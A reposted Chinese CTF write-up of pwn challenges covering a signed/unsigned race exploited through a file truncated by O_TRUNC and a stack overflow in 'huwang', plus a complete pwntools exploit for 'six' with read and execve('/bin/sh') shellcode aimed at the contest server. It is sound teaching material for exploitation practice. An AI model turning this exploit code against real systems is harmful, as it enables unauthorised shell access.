内容简介:跟学校的队伍参加了又一次这道题没什么好说的(比签到题解出的人还多),(double) 0.1 在内存中的存储形式,可以参考
跟学校的队伍参加了又一次 ?网杯
,记录一下 pwn 的 writeup。
gettingstart
这道题没什么好说的(比签到题解出的人还多),(double) 0.1 在内存中的存储形式,可以参考 stackexchange
shoppingcart
这道题目真是坑了很久,看到 strtoul
就没想通过负数数组越界了,后来发现可以负数越界时已经来不及写 exp 了。
huwang
听 charlie 师傅说这道题目抄了他给国赛出的题。。。
堆的功能没用,完全是硬加上去的。主要的逻辑在 666 这个选项里,功能是从 /dev/urandom
中读取 0xC 个字符,然后经过 n 轮 md5 运算,最后和用户的输入进行比较,如果比较成功则进入另一个有明显漏洞的函数,可以 leak 出 canary,stack 等信息,最后可以栈溢出,比较不成功则程序退出。
void __fastcall secret_in_secret(char *rdi0) { char v1; // ST1B_1 int s_len; // [rsp+1Ch] [rbp-214h] char occupation[256]; // [rsp+20h] [rbp-210h] char s[264]; // [rsp+120h] [rbp-110h] unsigned __int64 v5; // [rsp+228h] [rbp-8h] v5 = __readfsqword(0x28u); printf("Congratulations, %s guessed my secret!\n", rdi0);// leak puts("And I want to know someting about you, and introduce you to other people who guess the secret!"); puts("What`s your occupation?"); get_str(occupation, 255LL); s_len = snprintf( s, 255uLL, "I know a new friend, his name is %s,and he is a noble %s.He is come from north and he is very handsome......" "....................................................................................................", rdi0, occupation); puts("Here is your introduce"); puts(s); puts("Do you want to edit you introduce by yourself[Y/N]"); v1 = getchar(); getchar(); if ( v1 == 'Y' ) read(0, s, s_len - 1); // overflow printf("The final presentation is as follows:%s\n", s); }
其中 md5 运算的轮数是用户决定的
puts("Input how many rounds do you want to encrypt the secret:"); how_many = get_int(); if ( how_many > 10 ) { puts("What? Why do you need to encrypt so many times?"); exit(-1); } if ( !how_many ) { printf("At least encrypt one time", s_secret); exit(-1); } HIDWORD(v2) = open("/tmp/secret", 01001); LODWORD(v2) = 0; while ( (unsigned int)v2 < how_many ) // negative { MD5((__int64)s_secret, 16LL, (__int64)s_secret); LODWORD(v2) = v2 + 1; }
只判断了大于 10 和不为 0 的情况,但我们可以输入负数,当输入负数时,在 signed
和 unsigned
比较时 -1 会转化为一个很大的数,while 循环就会陷入一段很长时间的运算。
这时如果再开一个 io 连接远程进入到这个流程中,到 MD5 之前
HIDWORD(v2) = open("/tmp/secret", 01001); LODWORD(v2) = 0; while ( (unsigned int)v2 < how_many ) // negative { MD5((__int64)s_secret, 16LL, (__int64)s_secret); LODWORD(v2) = v2 + 1; }
这里 open
是以 O_WRONLY | O_TRUNC
的 flags 打开的,其中 O_TRUNC
的含义是 当文件存在且被另一个程序以可写的模式打开时,把文件的长度截短为 0
,因此此时第二个 io 将得到一个空的 /tmp/secret
,因此只要我们输入 MD5('\0' * 16)
即可通过后边的 memcpy 验证,进入漏洞函数。
进入漏洞函数后,方法就很多了,通过 stack-pivot 进行 orw 或者 leak libc 进而 get shell 都可以,我选择的是使用 open, read, puts
的方法。运气比较好,rdx 满足条件。
six
总觉得这道题目以前在哪里见过,忘了是哪次比赛的了。
首先程序有两次 mmap,经过分析,两处空间分别用于保存 shellcode 和模拟栈,权限都是 rwx 。
void mmap_rwx() { int fd; // ST04_4 char buf[12]; // [rsp+8h] [rbp-18h] unsigned __int64 v2; // [rsp+18h] [rbp-8h] v2 = __readfsqword(0x28u); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); fd = open("/dev/urandom", 0); read(fd, buf, 6uLL); read(fd, &buf[8], 6uLL); dest = mmap((void *)(*(_QWORD *)&buf[8] & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7, 34, -1, 0LL); stack = (__int64)mmap((void *)(*(_QWORD *)buf & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 3, 34, -1, 0LL) + 1280; }
程序读取 6 个字节添加到一段 shellcode 之后,6 个字节要满足
- 3 个奇数 opcode,3个偶数 opcode
- 各不相同
程序给的 shellcode 为
.data:0000000000202020 ; char sc[1] .data:0000000000202020 sc: ; DATA XREF: main+71↑o .data:0000000000202020 ; main+87↑o ... .data:0000000000202020 mov rsp, rdi .data:0000000000202023 xor rbp, rbp .data:0000000000202026 xor rax, rax .data:0000000000202029 xor rbx, rbx .data:000000000020202C xor rcx, rcx .data:000000000020202F xor rdx, rdx .data:0000000000202032 xor rdi, rdi .data:0000000000202035 xor rsi, rsi .data:0000000000202038 xor r8, r8 .data:000000000020203B xor r9, r9 .data:000000000020203E xor r10, r10 .data:0000000000202041 xor r11, r11 .data:0000000000202044 xor r12, r12 .data:0000000000202047 xor r13, r13 .data:000000000020204A xor r14, r14 .data:000000000020204D xor r15, r15
清空了除 rsp
和 rip
之外的所有通用寄存器,并且可以看出 rsp 被设置为了我们之前 mmap 的空间用来模拟栈
.text:0000000000000C87 mov rdx, cs:stack .text:0000000000000C8E mov rax, [rbp+var_28] .text:0000000000000C92 mov rdi, rdx .text:0000000000000C95 call rax
这样就可以通过 0 号系统调用,即 sys_read
来读取一部分内容了,很自然的想法是读到栈顶(
read = asm(''' push rsp pop rsi mov edx, esi syscall ''') assert len(read) < 7 io.sendafter("shellcode:\n", read)
这段 shellcode 是符合要求的。
当两次 mmap 的距离比较近时,就可以通过第二次 read 来覆盖 shellcode,进而控制 rip。能控制 rip 的话,直接控制 rip 到我们写的 execve("/bin/sh", 0, 0)
即可。
我的 exp 如下:
HWB2018_six [master●●] bat solve.py ───────┬───────────────────────────────────────────────────────────────────────────────── │ File: solve.py ───────┼───────────────────────────────────────────────────────────────────────────────── 1 │ #!/usr/bin/env python 2 │ # -*- coding: utf-8 -*- 3 │ 4 │ from pwn import * 5 │ import sys 6 │ context.binary = "./six" 7 │ context.log_level = "debug" 8 │ context.terminal = ["deepin-terminal", "-x", "sh", "-c"] 9 │ 10 │ if sys.argv[1] == "l": 11 │ # io = process("./six") 12 │ io = gdb.debug("./six", gdbscript = ''' 13 │ bpie 0xC95 14 │ c 15 │ si 16 │ si 17 │ si 18 │ si 19 │ si 20 │ si 21 │ si 22 │ si 23 │ si 24 │ si 25 │ si 26 │ si 27 │ si 28 │ si 29 │ si 30 │ si 31 │ si 32 │ si 33 │ si 34 │ si 35 │ ''') 36 + │ 37 │ else: 38 │ io = remote("49.4.79.0", 31166) 39 │ 40 │ if __name__ == "__main__": 41 │ read = asm(''' 42 │ push rsp 43 │ pop rsi 44 │ mov edx, esi 45 │ syscall 46 │ ''') 47 │ assert len(read) < 7 48 │ io.sendafter("shellcode:\n", read) 49 │ 50 │ shell = asm(''' 51 │ mov eax, 0x3b 52 │ mov rdi, rsi 53 │ xor rdx, rdx 54 │ xor rsi, rsi 55 │ syscall 56 │ ''') 57 │ 58 │ payload = "/bin/sh\0".ljust(0xb36, '\0') + shell 59 │ # pause() 60 │ io.sendline(payload) 61 │ 62 │ io.interactive() 63 │ # $ while true; do python exp.py r; done ───────┴─────────────────────────────────────────────────────────────────────────────────
成功率不是 100% 但也相当可观了。
calendar
题目已经提示了 house of roman
,伤心的是,我的 house of roman 远程从来没有成功过。。。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Big Java Late Objects
Horstmann, Cay S. / 2012-2 / 896.00元
The introductory programming course is difficult. Many students fail to succeed or have trouble in the course because they don't understand the material and do not practice programming sufficiently. ......一起来看看 《Big Java Late Objects》 这本书的介绍吧!